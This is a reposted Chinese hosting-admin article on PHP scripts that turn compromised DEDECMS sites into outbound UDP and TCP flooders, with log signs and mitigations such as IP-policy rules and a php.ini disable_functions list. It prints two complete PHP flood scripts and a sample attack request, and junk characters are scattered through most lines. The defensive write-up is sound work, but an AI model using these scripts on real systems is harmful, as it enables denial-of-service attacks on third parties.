服务器php对外发包引起崩溃的解决办法paopao最近老听人说,php对外发包,引起服务器崩溃或被机房查封,今天闲着无事和大家一起分享paopao我总结的DEDECMS php对外发包引发服务器崩溃的终极解决方法,希望可以帮助大家解决服务器问题,让网站运行的更好
2 b, Z3 h8 s7 N/ _! p! \" g0 V 一。php对外发包分析
9 E( k% _" ? H# W 用php代码调用sockets,直接用服务器的网络攻击别的IP,常见代码如下:1 K+ J3 s9 P. s A
以下是代码片段:
" H, m& P6 r: ^8 O. s! c, t $packets = 0;
7 Z7 T8 K3 h1 O. f+ u $ip = $_GET[\'ip\'];2 y( R$ V& V, x
$rand = $_GET[\'port\'];% {& F3 R1 D2 X7 [, D- k w5 Q
set_time_limit(0);
' ?/ P/ j8 {, {7 K6 p; ]; v0 B ignore_user_abort(FALSE);
0 r* |2 } P' D% E b1 ~% Y $exec_time = $_GET[\'time\'];sbxl-20120612
; Q; _9 B1 D! G2 H6 H) b# ~' [ $time = time();) T% V9 K0 G7 P
print \'Flooded: $ip on port $rand1 @' I3 P& A" e7 q/ `
\';
+ _" [9 n9 |4 \+ U. k) W* S $max_time = $time+$exec_time;
# }$ `8 W- v; f, z: B) C5 u for($i=0;$i<65535;$i++){
" @. f" D/ `& W4 T $out .= \'X\';
) z/ E) x. @- b/ E5 O' N }
$ v) S+ C V# G2 L; o2 [ while(1){
* O# {/ w, l. [7 ?: E $packets++;- |4 ^! k( k8 a9 b) X5 ^2 t& M
if(time() > $max_time){
1 |3 R {$ Y6 d, e0 ~ break;% |$ Z9 v. E) ^* r: F) ?
}; z) w% ^! F# M- ]! ^) o3 }4 d
$fp = fsockopen(\'udp://$ip\', $rand, $errno, $errstr, 5);# w2 m y* x+ B0 Y2 j
if($fp){
* c) j/ z; f8 K: M/ f" O fwrite($fp, $out);; {# H* @. a, R: X
fclose($fp);
1 S4 U L- X0 @ }
" N- T. K A7 h. v) p S/ [ }5 Z3 Q! o S8 }: M5 [. G, F. B6 r# @2 C
echo \'Packet complete at \'.time(\'h:i:s\').\' with
3 b' ?1 v v o2 ^3 C $packets (\' . round(($packets*65)/1024, 2) . \' mB) packets averaging \'.2 u& k/ J# r+ ]+ N$ g
round($packets/$exec_time, 2) . \' packets/s ;
7 \! ~2 C0 o& X% X# ] ?>
5 f5 `7 R! C) k" D 二。表现特征
) {' o! f' U c, L9 J: h# Z2 u 一打开IIS,服务器的流出带宽就用光-----就是说服务器不断向别人发包,这个情况和受到DDOS攻击是不同的,DDOS是服务器不断收到大量数据包.' w/ Q+ F) D: s K$ K( ]/ |/ Z
近期由于DEDECMS出现漏洞而导致大量服务器出现这个问题./ q4 L; g7 a" }$ E
如何快速找到这些站?
8 c' j& z/ t8 |+ d- G 你可以打开日志. t5 @: T" P9 t. I# _8 w+ @
C:\Windows\System32\LogFiles\HTTPERR\httperr...log,打开今天时间的文件,
+ F" @% `: f' F% Y+ x 里面有类似这样的记录:
: n& h0 N7 A. [/ V. X L( a+ v* b 2012-04-26 06:37:28 58.255.112.112 26817 98.126.247.13 80 HTTP/1.1 GET /xxxx/xxxxxx.php?host=122.224.32.100&port=445&time=120 503 783 Disabled 30_FreeHost_1 x- O4 H$ q2 G$ w
最后三项783 Disabled 30_FreeHost_17 |5 ]0 c' |/ [1 ?7 l
783就是这个站在IIS中的ID" A$ f7 C+ q! E2 s
30_FreeHost_1就是所在池& i, s3 X. Y1 t; ^' T
三?解决办法0 H( ]( {( Q7 d8 p. q0 P
1.按上述找到这个网站后停止它.或停止池,并重启IIS. }% [+ p" [% v- K7 G* G& I
2.在IP策略,或防火墙中,禁止所有udp向外发送
: \( K( @- n0 G- g. J3 e, j 在星外最新版本的安全包中,已带有4.0版本的IP策略【下载safe包】,您导入后就直接可以限制了外发的UDP包?下载这个包,之后导入安全策略?但这个策略并没有关闭DNS端口,部分攻击还是有效., s+ p4 D! V2 v: G2 F
为了解决这个问题,你也可以调整IP策略,限制udp只能访问特定的DNS服务器IP,如8.8.8.8,除非黑客攻击这个IP,不然攻击也是无效的,你可以在网卡DNS中设置一个你才知道的DNS IP,并且不要公开,然后调用IP策略中的udp open部分就可以解决.(打开IP策略的属性,双击open,将open中的两条udp记录删除任意一条,在保留的这条中,双击,改成 地址 从源地址 任何地址 到目标地址'特定IP 这个IP就是设置为你自己的DNS IP,如8.8.8.8' 保存后就行了), G+ o. Q4 [/ w1 N6 J9 ?- @; g
在2011-4-27,我们上传了新的安全包,里面有一个'星外虚拟主机管理平台IP策略关闭所有UDP端口用.ipsec'文件,您可以导入它并启用,就可以关闭所有udp端口,就可以完全防止这类攻击,但是,这个策略由于关闭了DNS端口,会造成的这台服务器上无法用IE访问任何域名,因此,用户的采集功能也就用不了.(同样,如果在主控网站上用了这个策略,就会造成的受控自检不通过,因为解析不了域名,另外,部分用户反映此策略会造成的mysql不正常)
/ U! S) T& J' U 3.用一流信息监控,在SQL拦截及网址拦截中,拦截port=这个关键词(其他关键词可以删除.)1 w5 J# Q& _) d
4.也可以直接禁止上面的代码,如改win\php.ini后重启IIS# N9 y- ]& V! o' T( T
ignore_user_abort = On; b; [4 ]0 @ X2 D! F3 {
(注意前面的;号要删除)
3 B# M3 q! e* N disable_functions =exec,system,passthru,popen,pclose,shell_exec,proc_open,curl_exec,multi_exec,dl,chmod,stream_socket_server,popepassthru,pfsockopen,gzinflate,# a2 b/ ?! E' B* S4 I" o( w
在后面加上. U* Y& `& C2 b
fsockopen,set_time_limit
' y, T, D' y4 Y# N 但这样会造成很多php程序都不正常.
8 p: Z1 S$ t8 K" e$ z; z9 f 另外,这也表明你的服务器安全做得不错,如果能入侵.黑客就直接提权了,还DOS做什么?
, \9 Y: u6 e) W. m8 H3 w2 U 近期已有新的基于TCP攻击的PHPDDOS代码如下:
/ U& t& Z- z: ~. g% ^0 N 以下是代码片段:8 |: [; i- R4 }6 T5 B7 [
set_time_limit(999999);# G6 S( J0 o2 Q4 K# R/ j! T
$host = $_GET['host'];# D0 z h1 A7 A/ I8 Z% F
$port = $_GET['port'];; q6 D: B1 s4 R1 {0 Z+ M7 c
$exec_time = $_GET['time']; \( {# d, l h
$packets = 64;
3 F& d6 u: y9 e% ^, V, v ignore_user_abort(True);* ^- S/ C2 m @( C7 i
if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){ D: |2 O- R1 F$ D1 H6 K W
if (StrLen($_GET['rat'])<>0){
& }+ p) K, a4 `6 X echo $_GET['rat'].$_SERVER['HTTP_HOST'].'|'.GetHostByName($_SERVER['SERVER_NAME']).'|'.
: y4 {. L7 e" c# m php_uname().'|'.$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];0 s2 l g5 b! c4 e% m% N
exit;
4 E' F* e9 V' Z; G) ? }* i$ S) z7 ~( R( m( n. f: ~4 s
exit;
0 w( ^& l7 P; I }
, @# I7 E! d: i- X) w $max_time = time()+$exec_time;
& `/ x% Q" g+ s; r6 c while(1){
# z7 ]0 I6 D; B8 X/ M7 P $packets++;
. ], Z3 C L: c, j7 g' _& M if(time() > $max_time or $exec_time != 69){" V! i) F" L) x, C
break;
& q0 P: j9 w4 `$ P0 ^& ] }
$ O8 h2 O6 A; F1 [+ l7 \/ y: c $fp = fsockopen('tcp://$host', $port, $errno, $errstr, 0);
3 K8 s7 T# O& [ }
2 V, q5 s: m& \, a ?>3 v' a& W/ c: ~
同样,可以采有以下解决办法:
& i4 [7 u+ ]+ L9 v/ N F 1.也可以直接禁止上面的代码,如改win\php.ini后重启IIS
( |( P& O- u8 Z% S: E ignore_user_abort = On
2 l% F9 K* E h7 F& Y (注意前面的;号要删除)0 m; m' x; u1 D9 u; a! f6 f9 d
disable_functions =exec,system,passthru,popen,pclose,shell_exec,proc_open,curl_exec,multi_exec,dl,chmod,stream_socket_server,popepassthru,pfsockopen,gzinflate,
; j1 c: m0 \# l. s4 p 在后面加上* I8 w( w0 _+ _; ^4 W
fsockopen,set_time_limit3 ?! ~2 _. W9 M* L
但这样会造成很多php程序都不正常. 如果您是IDC,给客户提供空间的,禁用函数可能导致客户程序无法运行,所以一般不要用此办法
8 m( S' M4 n0 t0 U 2.在IP策略中禁止所有外访的TCP数据包,但这样会造成的采集功能无效,也不能用在主控服务器上?
~- h; l, [0 G: a 3.在服务器要用关键词tcp:或udp:搜索所有php类文件,找到攻击文件,删除它?
2 _) k4 F" W5 X+ G8 }. U' P* G 文章出自医院网站优化 http://www.ahyyqing.com,转载请注明出处。$ D8 I: ~0 A! i* Y3 `- Y
|